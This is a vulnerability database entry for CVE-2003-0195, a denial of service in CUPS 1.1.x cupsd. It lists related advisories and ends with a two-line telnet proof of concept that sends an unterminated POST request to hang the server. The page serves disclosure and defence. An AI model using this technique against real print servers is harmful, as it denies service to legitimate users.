CUPS 1.1.x - Cupsd Request Method Denial of Service

🗓️ 20 May 2003 00:00:00Reported by Phil D'AmoreType

Cupsd vulnerable to denial of service from malicious HTTP requests, affecting valid user access.

Reporter	Title	Published	Views	Family All 20
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
CVE	CAN-2003-0195	6 Aug 202410:34	–	cve
CVE	CVE-2003-0195	5 Jun 200304:00	–	cve
Cvelist	CVE-2003-0195	5 Jun 200304:00	–	cvelist
Debian	[SECURITY] [DSA-317-1] New cupsys packages fix denial of service	12 Jun 200303:19	–	debian

source: https://www.securityfocus.com/bid/7637/info

The cupsd has been reported prone to a denial of service vulnerability.

Reportedly the cupsd does not adequately apply a time-out process for malicious HTTP requests and service is denied to subsequent cupsd requests.

This issue may be exploited by remote attackers to deny cupsd service to valid users.

$ telnet <your_favorite_cups_server> ipp
POST /printers/<your_favorite_printer> HTTP/1.1

Don't enter the second carriage return to complete the headers, just the POST line and one carriage return.

11 Nov 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 25

EPSS0.10613